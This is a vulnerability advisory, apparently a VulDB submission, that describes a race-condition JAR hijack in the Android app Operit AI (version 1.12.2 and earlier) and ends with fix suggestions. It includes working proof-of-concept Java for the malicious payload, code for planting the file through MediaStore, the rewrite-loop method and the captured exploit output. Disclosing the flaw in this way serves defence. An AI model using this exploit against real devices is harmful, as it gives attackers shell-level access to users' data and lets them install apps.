Local Privilege Escalation to shell (uid 2000) via Shared-Storage JAR Hijacking TOCTOU in Operit AI ≤ 1.12.2
BUG_Author: `Geronimo (VulDB UID 102234)
Affected Version: Operit AI (Android) ≤ 1.12.2 (versionCode 51)
Vendor: AAswordman/Operit GitHub Repository
Software: Operit AI
CWE: CWE-59 (Improper Link Resolution Before File Access / shared-storage executable staging), CWE-367 (Time-of-check Time-of-use Race Condition)
Vulnerability Files:
showerclient/src/main/java/com/ai/assistance/showerclient/ShowerServerManager.kt (staging + execution logic, lines 32–156)app/src/main/java/com/ai/assistance/operit/core/tools/system/shell/RootShellExecutor.kt (shell-identity execution path, lines 365–425)app/src/main/assets/operit_shell_exec (helper binary: setgid(2000)/setuid(2000) + SELinux setcon u:r:shell:s0, then exec)Operit stages an executable JAR on world-writable shared storage without any integrity check:
ShowerServerManager.kt, the function copyJarToExternalDir() copies the bundled shower-server.jar from the app's private assets to /sdcard/Download/Operit/shower-server.jar — a path in shared storage that other apps can create and control.cp /sdcard/Download/Operit/shower-server.jar /data/local/tmp/shower-server.jar CLASSPATH=/data/local/tmp/shower-server.jar app_process / com.ai.assistance.shower.Main <app_package> &
app-release.apk (v1.12.2), inside classes13.dex.How the attack works (TOCTOU payload swap):
/sdcard/Download/Operit/shower-server.jar:
MediaStore.Downloads insert with RELATIVE_PATH = "Download/Operit").WRITE_EXTERNAL_STORAGE (a normal runtime permission) is sufficient.PhoneAgent.ensureRequiredVirtualScreen() / prewarmMainScreenShower()) — Operit overwrites the file with its own legitimate JAR and then copies it to /data/local/tmp/ and executes it as uid 2000.cp, the attacker rewrites the file content with a malicious dex JAR. The race window was measured at 180–600 ms (it includes two intermediate privileged command round-trips: pkill and rm -f).Example malicious payload:
com.ai.assistance.shower.Main), so the attacker simply ships a dex JAR that provides this class:javapackage com.ai.assistance.shower;
public class Main {
public static void main(String[] args) throws Exception {
java.io.FileWriter w = new java.io.FileWriter("/sdcard/Download/Operit/PWNED_PROOF.txt");
w.write("uid=" + android.os.Process.myUid() + "\n");
w.write("id=" + exec("id") + "\n"); // uid=2000(shell) ... context=u:r:shell:s0
w.write("pm=" + exec("pm list packages -3") + "\n");
w.close();
System.exit(0);
}
}
Impact:
u:r:shell:s0 — equivalent to a connected ADB host.pm install), reading of all shared storage, dumpsys/uiautomator screen and UI-tree harvesting, access to shell-trusted system services, and pivot points for further escalation on many OEM builds.Verifying the exploit:
/data/local/tmp/shower-server.jar matches the attacker JAR (md5 differs from the legitimate one) and the payload runs as uid 2000:=== PWNED: attacker jar executed via app_process === uid=2000 id=uid=2000(shell) gid=2000(shell) ... context=u:r:shell:s0 wrote_data_local_tmp_marker=true
Vulnerability Files above.Full kill chain captured in a single frame (left: attacker planting + live swap; right: victim sequence, evil-JAR md5, uid=2000 execution and payload output):

Build the attacker dex JAR providing com.ai.assistance.shower.Main (payload above), then stage it:
adb push attacker.jar /data/local/tmp/shower_exp/attacker.jar
Plant the file with a zero-permission attacker app (Android 11+):
javaContentValues v = new ContentValues();
v.put(MediaStore.MediaColumns.DISPLAY_NAME, "shower-server.jar");
v.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DOWNLOADS + "/Operit/");
v.put(MediaStore.MediaColumns.IS_PENDING, 1);
Uri uri = getContentResolver().insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, v);
OutputStream os = getContentResolver().openOutputStream(uri, "wt");
os.write(evilJarBytes); os.close();
v.clear(); v.put(MediaStore.MediaColumns.IS_PENDING, 0);
getContentResolver().update(uri, v, null, null);
Then keep a 20 ms rewrite loop running (re-open the same row with "wt" and rewrite evilJarBytes whenever the size differs — or unconditionally; ownership stays with the attacker).
Attacker side, captured live (planting, resulting md5 7f3183d6… / 2341 bytes, 50 ms watch-swap loop running):
3. Victim side: Operit writes its own asset JAR over the shared path and then executes the shell-identity sequence:
FileOutputStream out = new FileOutputStream("/sdcard/Download/Operit/shower-server.jar"); // its own asset jar ... shell: pkill -f com.ai.assistance.shower.Main || true shell: rm -f /data/local/tmp/shower-server.jar /data/local/tmp/shower.log || true shell: cp /sdcard/Download/Operit/shower-server.jar /data/local/tmp/shower-server.jar shell: CLASSPATH=/data/local/tmp/shower-server.jar app_process / com.ai.assistance.shower.Main com.ai.assistance.operit &
The attacker's rewrite lands in the 180–600 ms window; the shell-uid cp copies the malicious JAR and app_process executes it as uid 2000.
Left window: the attacker detects Operit's write (SWAPPED!) and restores the payload. Right window: the victim sequence — after cp, the md5 of what got copied is the attacker JAR (7f3183d6…), not the legitimate one (910b3797…):
Payload execution as uid 2000 ([attacker] payload done, uid=2000):
5. Verify the exploit by reading the payload's output file:
$ adb shell cat /sdcard/Download/Operit/PWNED_PROOF.txt === PWNED: attacker jar executed via app_process === uid=2000 id=uid=2000(shell) gid=2000(shell) groups=... context=u:r:shell:s0 wrote_data_local_tmp_marker=true pm_first_lines=package:com.example.app | ...
If the attack did not run, the same sequence executes the legitimate server (control case, md5 910b3797950a850038ebcd1b7a5bef2b) and no proof file appears:

shower_exp/ — key files: attacker/src/com/ai/assistance/shower/Main.java, apps/AttackerApp.java, apps/VictimWriterApp.java, racer.sh, run_experiment.sh, evidence/ (timing CSVs, logcat, PWNED proof files, official release dex files).context.getFilesDir()) instead of shared storage — /data/local/tmp can be populated directly from there via the shell launcher, removing the shared-storage hop entirely; orcp + app_process execution, and treat shared storage as untrusted input.